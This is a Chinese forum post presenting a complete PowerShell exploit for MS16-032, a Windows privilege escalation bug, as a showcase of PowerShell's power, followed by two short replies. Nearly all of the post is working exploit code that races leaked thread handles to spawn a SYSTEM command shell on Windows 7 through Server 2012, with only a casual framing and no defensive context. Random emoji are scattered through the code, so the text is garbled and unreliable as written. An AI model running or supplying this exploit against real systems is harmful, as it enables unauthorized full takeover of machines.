一个基于Powershell的提权代码 |
本帖最后由 soarcloud 于 2016-8-13 09:44 编辑
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346: 🤳🎠🧊✔🦄function Invoke-MS16-032 { <# .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable 👎🚈🍇☣🐕 operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: 👨🦱🥼📐🥲👄 * Win7-Win10 & 2k8-2k12 <== 32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: 🤳🚤🍽⚛🐖 * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032 ==> 👨⚕️💎📬😶👃 https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause 🤝🔥🍒®🦟 Required Dependencies: PowerShell v2+ Optional Dependencies: None E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 .EXAMPLE🩳🖨😷👍 C:\PS> Invoke-MS16-032 #> Add-Type -TypeDefinition @" using System; using System.Diagnostics; 👈🌕🥚🚷🐉 using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION ✊⛵🥚♑🐟 { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; 💪⛵🌰♂🦠 } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { 👌💈🥚‼🐺 public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; ✌🗼↔🦚 public Int32 dwY;public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars;💎🗑🙂🧠 public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2;🧑🚀🧢🎺🙃✊ public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } 👍🌕🍚™🪶 [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; ✍⛴🅰🦌 public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 🙌🌞🍌♏🦄 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain,👩✈️🕶🧹😡👎 String password, int logonFlags, String applicationName, String commandLine, int creationFlags, 🖕🦼🧊🅾🪰 int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); 👦👔🧹😭🦷 [DllImport("advapi32.dll", SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); 🤳🧳🫖‼🐂 [DllImport("advapi32.dll", SetLastError=true)]public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf,👨🎨👑🔭😷🤛 out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, 👃🧳🍼❓🐶 int DesiredAccess,ref IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken(👦👓⚔🥱🤟 IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } 🖐🌦🍓🅿🐞 public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); 👄🚘🍖☪🐥 [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr GetCurrentThread();👩✈️💍📱🤐🤞 [DllImport("kernel32.dll", SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport("kernel32.dll", SetLastError = true)] ✍⛪🍼❓🦋 public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport("kernel32.dll",SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); 🥷🩴🗡🙄👍 [DllImport("kernel32.dll",SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool TerminateProcess( 🧑🎤👔🔒😛🙏 IntPtr hProcess, uint uExitCode); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject);👳🩲🩺🤔👂 [DllImport("kernel32.dll", SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, 💪🌕🧊⚛🦠 IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); 👎🎠🥚➡🐝 } public static class Ntdll { [DllImport("ntdll.dll", SetLastError=true)] ✍🧳🍊❎🦖 public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } 👌💈🍊♏🐝 "@function Get-ThreadHandle { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO👵👓🗑😡👄 $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread() $StartupInfo.hStdError = [Kernel32]::GetCurrentThread() $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size 👀⛴🥭🅾🐥 # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # CreateProcessWithLogonW --> lpCurrentDirectory 💪🏠🍇✔🦖 $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( "user", "domain", "pass", 👈🏝🍚❓🦚 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS🧓👖💉😡👂 $lpTargetHandle = [IntPtr]::Zero $CallResult = [Kernel32]::DuplicateHandle( $ProcessInfo.hProcess, 0x4, [Kernel32]::GetCurrentProcess(), [ref]$lpTargetHandle, 0, $false,🧑⚕️🧢📬☠👁 0x00000002) # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) ✌🛑🥩🆘🐅 $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread) $lpTargetHandle } 🚐🍚⚛🪰 function Get-SystemToken {echo "`n[?] Trying thread handle: $Thread" echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)" $CallResult = [Kernel32]::SuspendThread($Thread) 👁🧳🍖🆘🦉 if ($CallResult -ne 0) { echo "[!] $Thread is a bad thread, moving on.." Return } echo "[+] Thread suspended" 💪🚂🦞❌🦊 echo "[>] Wiping current impersonation token"$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero) if (!$CallResult) { echo "[!] SetThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) 🧒🦺📡🥲👂 echo "[+] Thread resumed!" Return } echo "[>] Building SYSTEM impersonation token"🥷👠🧪🥰🦷 # SecurityQualityOfService struct $SQOS = New-Object SQOS $SQOS.ImpersonationLevel = 2 #SecurityImpersonation $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS) # Undocumented API's, I like your style Microsoft ;) 👌🌕🍒🈚🕊 $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)if ($CallResult -ne 0) { echo "[!] NtImpersonateThread failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 👏🚐🍪♻🐯 Return } $script:SysTokenHandle = [IntPtr]::Zero # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE👩✈️🕶📷🤡🤳 $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle) if (!$CallResult) { echo "[!] OpenThreadToken failed, moving on.." $CallResult = [Kernel32]::ResumeThread($Thread) echo "[+] Thread resumed!" 🤟🏝🥩⁉🪶 Return } echo "[?] Success, open SYSTEM token handle: $SysTokenHandle" echo "[+] Resuming thread.."👦👑💳💀🤟 $CallResult = [Kernel32]::ResumeThread($Thread) } # main() <--- ;) $ms16032 = @" 👩✈️🩳🔍😃🦷 __ __ ___ ___ ___ ___ ___ ___ | V | _|_ | | _|___| |_ |_ | | |_ |_| |_| . |___| | |_ | _| |_|_|_|___|_____|___| |___|___|___| 🧑💻👠🪦👁 [by b33f -> @FuzzySec] "@ $ms16032 🤝🌡🍊ℹ🐞 # Check logical processor count, race condition requires 2+echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)" if ($([System.Environment]::ProcessorCount) -lt 2) { echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n" Return 👮♂️🦺🧹😀👎 } # Create array for Threads & TID's $ThreadArray = @() $TidArray = @() 💪🏝🍍☪🐢 echo "[>] Duplicating CreateProcessWithLogonW handles.." # Loop Get-ThreadHandle and collect thread handles with a valid TID for ($i=0; $i -lt 500; $i++) { $hThread = Get-ThreadHandle 👂🗺🍽🈸🐉 $hThreadID = [Kernel32]::GetThreadId($hThread)# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray if ($TidArray -notcontains $hThreadID) { $TidArray += $hThreadID if ($hThread -ne 0) {🧒🩴📀💩🤳 $ThreadArray += $hThread # This is what we need! } } } 👴💎🖥🤤🧠 if ($($ThreadArray.length) -eq 0) { echo "[!] No valid thread handles were captured, exiting!" Return } else { echo "[?] Done, got $($ThreadArray.length) thread handle(s)!" 👃🎢🥭®🪶 echo "`n[?] Thread handle list:"$ThreadArray } echo "`n Sniffing out privileged impersonation token.." 👃🎢🌰☣🦊 foreach ($Thread in $ThreadArray){ # Get handle to SYSTEM access token Get-SystemToken 👨🦱👜🖲🤬🧠 echo "`n Sniffing out SYSTEM shell.." echo "`n[>] Duplicating SYSTEM token" $hDuplicateTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle) 👮♂️🧦🖌🥰💅 # Simple PS runspace definition echo "[>] Starting token race" $Runspace = [runspacefactory]::CreateRunspace() $StartTokenRace = [powershell]::Create() $StartTokenRace.runspace = $Runspace👳👒🪗🤖👎 $Runspace.Open() [void]$StartTokenRace.AddScript({ Param ($Thread, $hDuplicateTokenHandle) while ($true) { $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle) 👂🥣♏🦌 } }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle) $AscObj = $StartTokenRace.BeginInvoke() echo "[>] Starting process race" 👃🌡🧊♏🦌 # Adding a timeout (10 seconds) here to safeguard from edge-cases $SafeGuard = [diagnostics.stopwatch]::StartNew() while ($SafeGuard.ElapsedMilliseconds -lt 10000) { # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO 👳🪖🖨🥲🤙 $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION 🧑⚕️🩲🖥😶🙌 # CreateProcessWithLogonW --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED $CallResult = [Advapi32]::CreateProcessWithLogonW( 💅🚠🥚🅿🦜 "user", "domain", "pass", 0x00000002, "C:\Windows\System32\cmd.exe", "", 0x00000004, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) 👩✈️🧣🪣😴👂 $hTokenHandle = [IntPtr]::Zero $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle) # If we can't open the process token it's a SYSTEM shell! if (!$CallResult) { echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n" 🦷🏠🍍☯🐢 $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread) $StartTokenRace.Stop() $SafeGuard.Stop() Return }🧑🎤👚🖲😒✊ # Clean up suspended process $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess) $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)🧑🚀📡🙄👍 } # Kill runspace & stopwatch if edge-case $StartTokenRace.Stop() $SafeGuard.Stop()👦👒✏👻👃 } } 看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。 👌🌧🍍🈷🦉
帖子热度 1.2万 ℃
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然而到现在我都不想去了解这个powershell
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畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
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